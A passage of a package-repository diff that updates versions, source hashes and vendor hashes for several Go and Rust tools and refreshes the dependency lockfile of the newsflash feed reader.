+26,7 @@ let inherit hash; }; - ldflags = [ "-s" "-w" ]; + ldflags = [ "-s" "-w" "-X 'github.com/hashicorp/terraform/version.dev=no'" ]; postConfigure = '' # speakeasy hardcodes /bin/stty https://github.com/bgentry/speakeasy/issues/22 @@ -167,8 +167,8 @@ rec { mkTerraform = attrs: pluggable (generic attrs); terraform_1 = mkTerraform { - version = "1.7.3"; - hash = "sha256-/NnpmZLCEoSwJYsHmMxQ8HRxzsyCm91oc6T+mcsaNv0="; + version = "1.7.4"; + hash = "sha256-LF8lFDZtDowHqa0z/TCVKznxn15Msha/af8p/w0bI1k="; vendorHash = "sha256-DI4YTjdFFvfby8ExEY3KoK4J9YKK5LPpMbelzFMDVVs="; patches = [ ./provider-path-0_15.patch ]; passthru = { diff --git a/pkgs/applications/networking/cluster/terragrunt/default.nix b/pkgs/applications/networking/cluster/terragrunt/default.nix index e3d2bdce753b8..6ded1556fa60f 100644 --- a/pkgs/applications/networking/cluster/terragrunt/default.nix +++ b/pkgs/applications/networking/cluster/terragrunt/default.nix @@ -5,16 +5,16 @@ buildGoModule rec { pname = "terragrunt"; - version = "0.55.2"; + version = "0.55.12"; src = fetchFromGitHub { owner = "gruntwork-io"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-6lUBtTG05Bz+M9Jj5HaOqG2yelwbC1trCM33NzUP1U4="; + hash = "sha256-RwPpABQnfcMfOMZm2PPT3w03HU8Y73leI+xxlHqZF10="; }; - vendorHash = "sha256-uFSkolmQV11cY+3ZWrlByHDFolpr2E+9/R95bhBn6zo="; + vendorHash = "sha256-sdEA/5QQ85tGfo7qSCD/lD20uAh045fl3tF9nFfH6x0="; doCheck = false; diff --git a/pkgs/applications/networking/cluster/timoni/default.nix b/pkgs/applications/networking/cluster/timoni/default.nix index 4ae26898e51c0..0efc9bb500553 100644 --- a/pkgs/applications/networking/cluster/timoni/default.nix +++ b/pkgs/applications/networking/cluster/timoni/default.nix @@ -1,21 +1,21 @@ { lib -, buildGoModule +, buildGo122Module , fetchFromGitHub , installShellFiles }: -buildGoModule rec { +buildGo122Module rec { pname = "timoni"; - version = "0.17.0"; + version = "0.20.0"; src = fetchFromGitHub { owner = "stefanprodan"; repo = "timoni"; rev = "v${version}"; - hash = "sha256-KhDig31BGMmKVrLVFcTXNKjsyAUTb6KEX5PJV2rkMgM="; + hash = "sha256-zQawfzwQNQvtta7lIOtePGI67Y4iXzEBGqd5YiOKAVY="; }; - vendorHash = "sha256-3RbWHLQLLh/omGttY2wWv2nsuuTE8ALAqgQaiJY/EjI="; + vendorHash = "sha256-xQgSABaWY5FWHh2kcBB36fm3povFNpU18PjD4J6M4QM="; subPackages = [ "cmd/timoni" ]; nativeBuildInputs = [ installShellFiles ]; diff --git a/pkgs/applications/networking/cluster/vcluster/default.nix b/pkgs/applications/networking/cluster/vcluster/default.nix index ab44da15a8d0f..db2ea91fd0545 100644 --- a/pkgs/applications/networking/cluster/vcluster/default.nix +++ b/pkgs/applications/networking/cluster/vcluster/default.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "vcluster"; - version = "0.18.1"; + version = "0.19.1"; src = fetchFromGitHub { owner = "loft-sh"; repo = pname; rev = "v${version}"; - hash = "sha256-TJjMB7x8MOlr3GexsnOZBFPJovVkf4ByRn1aGprvZFQ="; + hash = "sha256-W9BSLGUrW8Us+yYQLIz3oY8JKJSo43cL+oWQQf3xWJE="; }; vendorHash = null; diff --git a/pkgs/applications/networking/cluster/werf/default.nix b/pkgs/applications/networking/cluster/werf/default.nix index d08fb76b68fad..6699898945d24 100644 --- a/pkgs/applications/networking/cluster/werf/default.nix +++ b/pkgs/applications/networking/cluster/werf/default.nix @@ -10,16 +10,16 @@ buildGoModule rec { pname = "werf"; - version = "1.2.289"; + version = "1.2.296"; src = fetchFromGitHub { owner = "werf"; repo = "werf"; rev = "v${version}"; - hash = "sha256-0BinJVTjD8iDlhK50qVODQIKj1KDwhgOMg3HHstYHeg="; + hash = "sha256-D0bWva6Y0x9uMdKMONsiGC3SV2ktGPzfMq9BELqgk3E="; }; - vendorHash = "sha256-YHLa0hTXCswkvVxyNp5ezqyEu18Jfnl9n7JMdqMeBSA="; + vendorHash = "sha256-6q13vMxu0iQgaXS+Z6V0jjSIhxMscw6sLANzK07gAlI="; proxyVendor = true; diff --git a/pkgs/applications/networking/cluster/yor/default.nix b/pkgs/applications/networking/cluster/yor/default.nix index ce83ef0287064..2f55325f6eff4 100644 --- a/pkgs/applications/networking/cluster/yor/default.nix +++ b/pkgs/applications/networking/cluster/yor/default.nix @@ -5,16 +5,16 @@ buildGoModule rec { pname = "yor"; - version = "0.1.189"; + version = "0.1.190"; src = fetchFromGitHub { owner = "bridgecrewio"; repo = pname; rev = version; - hash = "sha256-9xZVim5fMKDaeATSpgEGV5ukLv+aw7A99825iBIvvb0="; + hash = "sha256-1CofTfH7PffncLsa8Ho/fY+R6oaefUld3x84oeD5Bbo="; }; - vendorHash = "sha256-RNtWPAAOCGs0aCR0PWnOP4GxaXTXA3uLI3aGLuMNGYI="; + vendorHash = "sha256-iUBajZv9BHQm0kHJGK/9FYp7nGSr7p6tlPKxugZ3BjQ="; doCheck = false; diff --git a/pkgs/applications/networking/cluster/zarf/default.nix b/pkgs/applications/networking/cluster/zarf/default.nix index 2bef721e6df20..1834b5ae58a1e 100644 --- a/pkgs/applications/networking/cluster/zarf/default.nix +++ b/pkgs/applications/networking/cluster/zarf/default.nix @@ -5,16 +5,16 @@ buildGoModule rec { pname = "zarf"; - version = "0.32.2"; + version = "0.32.4"; src = fetchFromGitHub { owner = "defenseunicorns"; repo = "zarf"; rev = "v${version}"; - hash = "sha256-LQe/M7uX6VKA7q040wFWKYQ96M1Ynp37uglENqvyAaU="; + hash = "sha256-Pm8xvJKKIa7PX6oYR1LoxmHeG3rQdsfS444kL5R3/zQ="; }; - vendorHash = "sha256-HAIupM30qmOqol661iFm2lNjukoKBvYY1tPTnc0u3lg="; + vendorHash = "sha256-2cXkGgyZoCsVYLPB4sglOWZURl1AS0Gb/7ke7P3mdyw="; proxyVendor = true; preBuild = '' diff --git a/pkgs/applications/networking/coreth/default.nix b/pkgs/applications/networking/coreth/default.nix index 8fb639dc097bf..69b4a0dcc16c0 100644 --- a/pkgs/applications/networking/coreth/default.nix +++ b/pkgs/applications/networking/coreth/default.nix @@ -6,19 +6,19 @@ buildGoModule rec { pname = "coreth"; - version = "0.12.10"; + version = "0.13.1"; src = fetchFromGitHub { owner = "ava-labs"; repo = pname; rev = "v${version}"; - hash = "sha256-0Wx1dr/jH9OOjxJ4PPmdWIru+QVpsGvVV/VxLY+M+E4="; + hash = "sha256-Fdc8U5dN31mfeucmYdi3R+EM5wPvm/i3O1ib3Y30Qng="; }; # go mod vendor has a bug, see: golang/go#57529 proxyVendor = true; - vendorHash = "sha256-kPeUe0kr1LmtGuscRC3AhKb6Cn4TFFxm1gZ6W6nPA28="; + vendorHash = "sha256-oJ/oz3PtkzEwZw93eoZV2hoD1uOWg2qdxgsvM+nX7mk="; ldflags = [ "-s" diff --git a/pkgs/applications/networking/datovka/default.nix b/pkgs/applications/networking/datovka/default.nix index 488f5094b79bd..bfffc97df6e69 100644 --- a/pkgs/applications/networking/datovka/default.nix +++ b/pkgs/applications/networking/datovka/default.nix @@ -12,11 +12,11 @@ mkDerivation rec { pname = "datovka"; - version = "4.23.4"; + version = "4.23.6"; src = fetchurl { url = "https://gitlab.nic.cz/datovka/datovka/-/archive/v${version}/datovka-v${version}.tar.gz"; - sha256 = "sha256-xyRUm6DaxlIFmeskQuUMu6JV3QtzgOZf/pLiBNGUBRo="; + sha256 = "sha256-g6IMUAE8z5uoLSUpoT+GradQRgwyIXNANt7g4JPOCxg="; }; buildInputs = [ libdatovka qmake qtbase qtsvg libxml2 qtwebsockets ]; diff --git a/pkgs/applications/networking/deck/default.nix b/pkgs/applications/networking/deck/default.nix index 2098f34180ec1..2030070878363 100644 --- a/pkgs/applications/networking/deck/default.nix +++ b/pkgs/applications/networking/deck/default.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "deck"; - version = "1.32.1"; + version = "1.35.0"; src = fetchFromGitHub { owner = "Kong"; repo = "deck"; rev = "v${version}"; - hash = "sha256-7lE/Wnrlv3L6V1ex+357q6XXpdx0810m1rKkqITowXY="; + hash = "sha256-Cng1T/TjhPttLFcI3if0Ea/M2edXDnrMVAFzAZmNAD8="; }; nativeBuildInputs = [ installShellFiles ]; @@ -21,7 +21,7 @@ buildGoModule rec { ]; proxyVendor = true; # darwin/linux hash mismatch - vendorHash = "sha256-D260T3E0aufOAqlN918SChv3aNDCFHfe2e0It1pcPiU="; + vendorHash = "sha256-tv/wI4AN10io9x1wl2etKC+MB2vz+6FkmT/eJSsT4VI="; postInstall = '' installShellCompletion --cmd deck \ diff --git a/pkgs/applications/networking/discordo/default.nix b/pkgs/applications/networking/discordo/default.nix index bb426cbc777cd..8930e5d99891d 100644 --- a/pkgs/applications/networking/discordo/default.nix +++ b/pkgs/applications/networking/discordo/default.nix @@ -3,16 +3,16 @@ buildGoModule rec { pname = "discordo"; - version = "unstable-2024-01-25"; + version = "unstable-2024-03-03"; src = fetchFromGitHub { owner = "ayn2op"; repo = pname; - rev = "301b7c7a792b427595803679e37fe99007de9451"; - hash = "sha256-ufAlwlH++g9L3aaA5soJ6r2oiJZi8Ny/6P530oV+BiY="; + rev = "ce2091d566f2d999d83b3c9463860b73f1d163ae"; + hash = "sha256-71i/8t768RtD0Gk2cpSdznERSNf1gErQrrOGYiZz05g="; }; - vendorHash = "sha256-fy3FI1K57hLAgbw3WfmVNZT9ywCSXwRKSq+ATjG+Qpo="; + vendorHash = "sha256-dBJYTe8aZtNuBwmcpXb3OEHoLVCa/GbGExLIRc8cVbo="; CGO_ENABLED = 0; diff --git a/pkgs/applications/networking/diswall/default.nix b/pkgs/applications/networking/diswall/default.nix index 960598302d859..703b6c7456fa0 100644 --- a/pkgs/applications/networking/diswall/default.nix +++ b/pkgs/applications/networking/diswall/default.nix @@ -5,20 +5,20 @@ let in rustPlatform.buildRustPackage rec { pname = "diswall"; - version = "0.5.0"; + version = "0.5.1"; src = fetchFromGitHub { owner = "dis-works"; repo = "diswall-rs"; rev = "v${version}"; - sha256 = "sha256-i3R1w2SBBa5hGorvyjEfkuZVN3bE7aHcpoIrtSuS4dA="; + sha256 = "sha256-6XMw8fnuM1KyInYCw8DTonsj5gV9d+EuYfO5ggZ3YUU="; }; buildInputs = lib.optionals stdenv.isDarwin [ Security ]; - cargoHash = "sha256-aJDhLwzOgOVpH/JIrv1aczv5lvJrUlR6Oxj71XeYpSI="; + cargoHash = "sha256-So7XBC66y2SKbcjErg4Tnd/NcEpX5zYOEr60RvU9OOU="; doCheck = false; diff --git a/pkgs/applications/networking/feedreaders/newsflash/Cargo.lock b/pkgs/applications/networking/feedreaders/newsflash/Cargo.lock index 3afc84905fb59..e743a701da571 100644 --- a/pkgs/applications/networking/feedreaders/newsflash/Cargo.lock +++ b/pkgs/applications/networking/feedreaders/newsflash/Cargo.lock @@ -31,9 +31,9 @@ dependencies = [ [[package]] name = "aho-corasick" -version = "1.1.1" +version = "1.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ea5d730647d4fadd988536d06fecce94b7b4f2a7efdae548f1cf4b63205518ab" +checksum = "b2969dcb958b36655471fc61f7e416fa76033bdd4bfed0678d8fee1e2d07a1f0" dependencies = [ "memchr", ] @@ -82,58 +82,10 @@ dependencies = [ ] [[package]] -name = "anstream" -version = "0.5.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b1f58811cfac344940f1a400b6e6231ce35171f614f26439e80f8c1465c5cc0c" -dependencies = [ - "anstyle", - "anstyle-parse", - "anstyle-query", - "anstyle-wincon", - "colorchoice", - "utf8parse", -] - -[[package]] -name = "anstyle" -version = "1.0.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b84bf0a05bbb2a83e5eb6fa36bb6e87baa08193c35ff52bbf6b38d8af2890e46" - -[[package]] -name = "anstyle-parse" -version = "0.2.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "938874ff5980b03a87c5524b3ae5b59cf99b1d6bc836848df7bc5ada9643c333" -dependencies = [ - "utf8parse", -] - -[[package]] -name = "anstyle-query" -version = "1.0.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5ca11d4be1bab0c8bc8734a9aa7bf4ee8316d462a08c6ac5052f888fef5b494b" -dependencies = [ - "windows-sys", -] - -[[package]] -name = "anstyle-wincon" -version = "2.1.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "58f54d10c6dfa51283a066ceab3ec1ab78d13fae00aa49243a45e4571fb79dfd" -dependencies = [ - "anstyle", - "windows-sys", -] - -[[package]] name = "anyhow" -version = "1.0.75" +version = "1.0.80" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a4668cab20f66d8d020e1fbc0ebe47217433c1b6c8f2040faf858554e394ace6" +checksum = "5ad32ce52e4161730f7098c077cd2ed6229b5804ccf99e5366be1ab72a98b4e1" [[package]] name = "arc-swap" @@ -144,9 +96,9 @@ checksum = "bddcadddf5e9015d310179a59bb28c4d4b9920ad0f11e8e14dbadf654890c9a6" [[package]] name = "article_scraper" version = "2.0.0" -source = "git+https://gitlab.com/news-flash/article_scraper.git#f9812b556c9cf05de13d936ea73f03c95de79bbc" +source = "git+https://gitlab.com/news-flash/article_scraper.git#0dcebe8b49b8d867810d0f7ff155e502f637bb96" dependencies = [ - "base64 0.21.4", + "base64", "chrono", "encoding_rs", "escaper", @@ -157,7 +109,7 @@ dependencies = [ "once_cell", "regex", "reqwest", - "rust-embed 6.8.1", + "rust-embed", "thiserror", "tokio", "url", @@ -165,16 +117,16 @@ dependencies = [ [[package]] name = "ashpd" -version = "0.6.2" +version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f3affe251686bd936a0afb74b9693e8bf2f193d51da1b9a45d3f1303a9bd2cc7" +checksum = "1b22517ee647547c01a687cf9b76074e1c91334032a4324f7243c6ee0f949390" dependencies = [ - "async-std", + "async-fs", + "async-net", "enumflags2", "futures-channel", "futures-util", - "once_cell", - "rand 0.8.5", + "rand", "serde", "serde_repr", "url", @@ -183,30 +135,34 @@ dependencies = [ [[package]] name = "async-broadcast" -version = "0.5.1" +version = "0.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7c48ccdbf6ca6b121e0f586cbc0e73ae440e56c67c30fa0873b4e110d9c26d2b" +checksum = "258b52a1aa741b9f09783b2d86cf0aeeb617bbf847f6933340a39644227acbdb" dependencies = [ - "event-listener 2.5.3", + "event-listener 5.1.0", + "event-listener-strategy 0.5.0", "futures-core", + "pin-project-lite", ] [[package]] name = "async-channel" -version = "1.9.0" +version = "2.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "81953c529336010edd6d8e358f886d9581267795c61b19475b71314bffa46d35" +checksum = "f28243a43d821d11341ab73c80bed182dc015c514b951616cf79bd4af39af0c3" dependencies = [ "concurrent-queue", - "event-listener 2.5.3", + "event-listener 5.1.0", + "event-listener-strategy 0.5.0", "futures-core", + "pin-project-lite", ] [[package]] name = "async-compression" -version = "0.4.3" +version = "0.4.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bb42b2197bf15ccb092b62c74515dbd8b86d0effd934795f6687c93b6e679a2c" +checksum = "a116f46a969224200a0a97f29cfd4c50e7534e4b4826bd23ea2c3c533039c82c" dependencies = [ "brotli", "flate2", @@ -218,63 +174,46 @@ dependencies = [ [[package]] name = "async-executor" -version = "1.5.3" +version = "1.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "78f2db9467baa66a700abce2a18c5ad793f6f83310aca1284796fc3921d113fd" +checksum = "17ae5ebefcc48e7452b4987947920dac9450be1110cadf34d1b8c116bdbaf97c" dependencies = [ - "async-lock", + "async-lock 3.3.0", "async-task", "concurrent-queue", - "fastrand 2.0.1", + "fastrand", "futures-lite", "slab", ] [[package]] name = "async-fs" -version = "1.6.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "279cf904654eeebfa37ac9bb1598880884924aab82e290aa65c9e77a0e142e06" -dependencies = [ - "async-lock", - "autocfg", - "blocking", - "futures-lite", -] - -[[package]] -name = "async-global-executor" -version = "2.3.1" +version = "2.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f1b6f5d7df27bd294849f8eec66ecfc63d11814df7a4f5d74168a2394467b776" +checksum = "bc19683171f287921f2405677dd2ed2549c3b3bda697a563ebc3a121ace2aba1" dependencies = [ - "async-channel", - "async-executor", - "async-io", - "async-lock", + "async-lock 3.3.0", "blocking", "futures-lite", - "once_cell", ] [[package]] name = "async-io" -version = "1.13.0" +version = "2.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0fc5b45d93ef0529756f812ca52e44c221b35341892d3dcc34132ac02f3dd2af" +checksum = "8f97ab0c5b00a7cdbe5a371b9a782ee7be1316095885c8a4ea1daf490eb0ef65" dependencies = [ - "async-lock", - "autocfg", + "async-lock 3.3.0", "cfg-if", "concurrent-queue", + "futures-io", "futures-lite", - "log", "parking", "polling", - "rustix 0.37.23", + "rustix", "slab", - "socket2 0.4.9", - "waker-fn", + "tracing", + "windows-sys 0.52.0", ] [[package]] @@ -287,20 +226,43 @@ dependencies = [ ] [[package]] +name = "async-lock" +version = "3.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d034b430882f8381900d3fe6f0aaa3ad94f2cb4ac519b429692a1bc2dda4ae7b" +dependencies = [ + "event-listener 4.0.3", + "event-listener-strategy 0.4.0", + "pin-project-lite", +] + +[[package]] +name = "async-net" +version = "2.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b948000fad4873c1c9339d60f2623323a0cfd3816e5181033c6a5cb68b2accf7" +dependencies = [ + "async-io", + "blocking", + "futures-lite", +] + +[[package]] name = "async-process" -version = "1.8.0" +version = "2.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bf012553ce51eb7aa6dc2143804cc8252bd1cb681a1c5cb7fa94ca88682dee1d" +checksum = "451e3cf68011bd56771c79db04a9e333095ab6349f7e47592b788e9b98720cc8" dependencies = [ + "async-channel", "async-io", - "async-lock", + "async-lock 3.3.0", "async-signal", "blocking", "cfg-if", - "event-listener 3.0.0", + "event-listener 5.1.0", "futures-lite", - "rustix 0.38.14", - "windows-sys", + "rustix", + "windows-sys 0.52.0", ] [[package]] @@ -311,69 +273,42 @@ checksum = "5fd55a5ba1179988837d24ab4c7cc8ed6efdeff578ede0416b4225a5fca35bd0" dependencies = [ "proc-macro2", "quote", - "syn 2.0.37", + "syn 2.0.51", ] [[package]] name = "async-signal" -version = "0.2.1" +version = "0.2.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4af361a844928cb7d36590d406709473a1b574f443094422ef166daa3b493208" +checksum = "9e47d90f65a225c4527103a8d747001fc56e375203592b25ad103e1ca13124c5" dependencies = [ "async-io", - "async-lock", + "async-lock 2.8.0", "atomic-waker", "cfg-if", - "concurrent-queue", "futures-core", "futures-io", - "libc", + "rustix", "signal-hook-registry", "slab", - "windows-sys", -] - -[[package]] -name = "async-std" -version = "1.12.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "62565bb4402e926b29953c785397c6dc0391b7b446e45008b0049eb43cec6f5d" -dependencies = [ - "async-channel", - "async-global-executor", - "async-io", - "async-lock", - "crossbeam-utils", - "futures-channel", - "futures-core", - "futures-io", - "futures-lite", - "gloo-timers", - "kv-log-macro", - "log", - "memchr", - "once_cell", - "pin-project-lite", - "pin-utils", - "slab", - "wasm-bindgen-futures", + "windows-sys 0.48.0", ] [[package]] name = "async-task" -version = "4.4.1" +version = "4.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b9441c6b2fe128a7c2bf680a44c34d0df31ce09e5b7e401fcca3faa483dbc921" +checksum = "fbb36e985947064623dbd357f727af08ffd077f93d696782f3c56365fa2e2799" [[package]] name = "async-trait" -version = "0.1.73" +version = "0.1.77" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bc00ceb34980c03614e35a3a4e218276a0a824e911d07651cd0d858a51e8c0f0" +checksum = "c980ee35e870bd1a4d2c8294d4c04d0499e67bca1e4b5cefcc693c2fa00caea9" dependencies = [ "proc-macro2", "quote", - "syn 2.0.37", + "syn 2.0.51", ] [[package]] @@ -405,21 +340,15 @@ dependencies = [ [[package]] name = "base64" -version = "0.13.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9e1b586273c5702936fe7b7d6896644d8be71e6314cfe09d3167c95f712589e8" - -[[package]] -name = "base64" -version = "0.21.4" +version = "0.21.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9ba43ea6f343b788c8764558649e08df62f86c6ef251fdaeb1ffd010a9ae50a2" +checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567" [[package]] name = "bigdecimal" -version = "0.4.1" +version = "0.4.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "454bca3db10617b88b566f205ed190aedb0e0e6dd4cad61d3988a72e8c5594cb" +checksum = "c06619be423ea5bb86c95f087d5707942791a08a85530df0db2209a3ecfb8bc9" dependencies = [ "autocfg", "libm", @@ -442,9 +371,9 @@ checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" [[package]] name = "bitflags" -version = "2.4.0" +version = "2.4.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b4682ae6287fcf752ecaabbfcc7b6f9b72aa33933dc23a554d853aea8eea8635" +checksum = "ed570934406eb16438a4e976b1b4500774099c13b8cb96eec99f620f05090ddf" [[package]] name = "block" @@ -489,14 +418,14 @@ checksum = "8d696c370c750c948ada61c69a0ee2cbbb9c50b1019ddb86d9317157a99c2cae" [[package]] name = "blocking" -version = "1.4.0" +version = "1.5.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "94c4ef1f913d78636d78d538eec1f18de81e481f44b1be0a81060090530846e1" +checksum = "6a37913e8dc4ddcc604f0c6d3bf2887c995153af3611de9e23c352b44c1b9118" dependencies = [ "async-channel", - "async-lock", + "async-lock 3.3.0", "async-task", - "fastrand 2.0.1", + "fastrand", "futures-io", "futures-lite", "piper", @@ -505,9 +434,9 @@ dependencies = [ [[package]] name = "brotli" -version = "3.3.4" +version = "3.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a1a0b1dbcc8ae29329621f8d4f0d835787c1c38bb1401979b49d13b0b305ff68" +checksum = "516074a47ef4bce09577a3b379392300159ce5b1ba2e501ff1c819950066100f" dependencies = [ "alloc-no-stdlib", "alloc-stdlib", @@ -516,9 +445,9 @@ dependencies = [ [[package]] name = "brotli-decompressor" -version = "2.3.4" +version = "2.5.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4b6561fd3f895a11e8f72af2cb7d22e08366bebc2b6b57f7744c4bda27034744" +checksum = "4e2e4afe60d7dd600fdd3de8d0f08c2b7ec039712e3b6137ff98b7004e82de4f" dependencies = [ "alloc-no-stdlib", "alloc-stdlib", @@ -526,27 +455,27 @@ dependencies = [ [[package]] name = "bumpalo" -version = "3.14.0" +version = "3.15.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7f30e7476521f6f8af1a1c4c0b8cc94f0bee37d91763d0ca2665f299b6cd8aec" +checksum = "8ea184aa71bb362a1157c896979544cc23974e08fd265f29ea96b59f0b4a555b" [[package]] name = "bytecount" -version = "0.6.3" +version = "0.6.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2c676a478f63e9fa2dd5368a42f28bba0d6c560b775f38583c8bbaa7fcd67c9c" +checksum = "e1e5f035d16fc623ae5f74981db80a439803888314e3a555fd6f04acd51a3205" [[package]] name = "bytemuck" -version = "1.14.0" +version = "1.14.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "374d28ec25809ee0e23827c2ab573d729e293f281dfe393500e7ad618baa61c6" +checksum = "a2ef034f05691a48569bd920a96c81b9d91bbad1ab5ac7c4616c1f6ef36cb79f" [[package]] name = "byteorder" -version = "1.4.3" +version = "1.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "14c189c53d098945499cdfa7ecc63567cf3886b3332b312a5b4585d8d3a6a610" +checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" [[package]] name = "bytes" @@ -562,23 +491,22 @@ checksum = "a3e368af43e418a04d52505cf3dbc23dda4e3407ae2fa99fd0e4f308ce546acc" [[package]] name = "cairo-rs" -version = "0.18.2" +version = "0.19.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1c0466dfa8c0ee78deef390c274ad756801e0a6dbb86c5ef0924a298c5761c4d" +checksum = "2650f66005301bd33cc486dec076e1293c4cecf768bc7ba9bf5d2b1be339b99c" dependencies = [ - "bitflags 2.4.0", + "bitflags 2.4.2", "cairo-sys-rs", "glib", "libc", - "once_cell", "thiserror", ] [[package]] name = "cairo-sys-rs" -version = "0.18.2" +version = "0.19.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "685c9fa8e590b8b3d678873528d83411db17242a73fccaed827770ea0fedda51" +checksum = "fd3bb3119664efbd78b5e6c93957447944f16bdbced84c17a9f41c7829b81e64" dependencies = [ "glib-sys", "libc", @@ -596,9 +524,9 @@ dependencies = [ [[package]] name = "cargo-platform" -version = "0.1.3" +version = "0.1.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2cfa25e60aea747ec7e1124f238816749faa93759c6ff5b31f1ccdda137f4479" +checksum = "694c8807f2ae16faecc43dc17d74b3eb042482789fd0eb64b39a2e04e087053f" dependencies = [ "serde", ] @@ -618,18 +546,15 @@ dependencies = [ [[package]] name = "cc" -version = "1.0.83" +version = "1.0.88" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f1174fb0b6ec23863f8b971027804a42614e347eafb0a95bf0b12cdae21fc4d0" -dependencies = [ - "libc", -] +checksum = "02f341c093d19155a6e41631ce5971aac4e9a868262212153124c15fa22d1cdc" [[package]] name = "cfg-expr" -version = "0.15.5" +version = "0.15.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "03915af431787e6ffdcc74c645077518c6b6e01f80b761e0fbbfa288536311b3" +checksum = "fa50868b64a9a6fda9d593ce778849ea8715cd2a3d2cc17ffdb4a2f2f2f1961d" dependencies = [ "smallvec", "target-lexicon", @@ -642,17 +567,23 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" [[package]] +name = "cfg_aliases" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fd16c4719339c4530435d38e511904438d07cce7950afa3718a84ac36c10e89e" + +[[package]] name = "chrono" -version = "0.4.31" +version = "0.4.34" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7f2c685bad3eb3d45a01354cedb7d5faa66194d1d58ba6e267a8de788f79db38" +checksum = "5bc015644b92d5890fab7489e49d21f879d5c990186827d42ec511919404f38b" dependencies = [ "android-tzdata", "iana-time-zone", "js-sys", "num-traits", "wasm-bindgen", - "windows-targets", + "windows-targets 0.52.3", ] [[package]] @@ -665,50 +596,10 @@ dependencies = [ ] [[package]] -name = "clap" -version = "4.4.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "824956d0dca8334758a5b7f7e50518d66ea319330cbceedcf76905c2f6ab30e3" -dependencies = [ - "clap_builder", - "clap_derive", -] - -[[package]] -name = "clap_builder" -version = "4.4.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "122ec64120a49b4563ccaedcbea7818d069ed8e9aa6d829b82d8a4128936b2ab" -dependencies = [ - "anstream", - "anstyle", - "clap_lex", - "strsim", -] - -[[package]] -name = "clap_derive" -version = "4.4.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0862016ff20d69b84ef8247369fabf5c008a7417002411897d40ee1f4532b873" -dependencies = [ - "heck", - "proc-macro2", - "quote", - "syn 2.0.37", -] - -[[package]] -name = "clap_lex" -version = "0.5.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cd7cc57abe963c6d3b9d8be5b06ba7c8957a930305ca90304f24ef040aa6f961" - -[[package]] name = "color-backtrace" -version = "0.6.0" +version = "0.6.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b6fcd4d200ae702628e8d54bafff5f7e7397b031a5849656a6f5bfe2c5fb780d" +checksum = "150fd80a270c0671379f388c8204deb6a746bb4eac8a6c03fe2460b2c0127ea0" dependencies = [ "backtrace", "termcolor", @@ -721,17 +612,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3d7b894f5411737b7867f4827955924d7c254fc9f4d91a6aad6b097804b1018b" [[package]] -name = "colorchoice" -version = "1.0.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "acbf1af155f9b9ef647e42cdc158db4b64a1b61f743629225fde6f3e0be2a7c7" - -[[package]] name = "commafeed_api" -version = "0.1.0" -source = "git+https://gitlab.com/news-flash/commafeed_api.git#701976f8fccf887416a1306b6d0e0a3bb026573f" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "013b56b25f5e10cae0fac4564fd64aa54766a860b896fc2d582f97616be6e92c" dependencies = [ - "base64 0.21.4", + "base64", "chrono", "log", "reqwest", @@ -743,18 +629,18 @@ dependencies = [ [[package]] name = "concurrent-queue" -version = 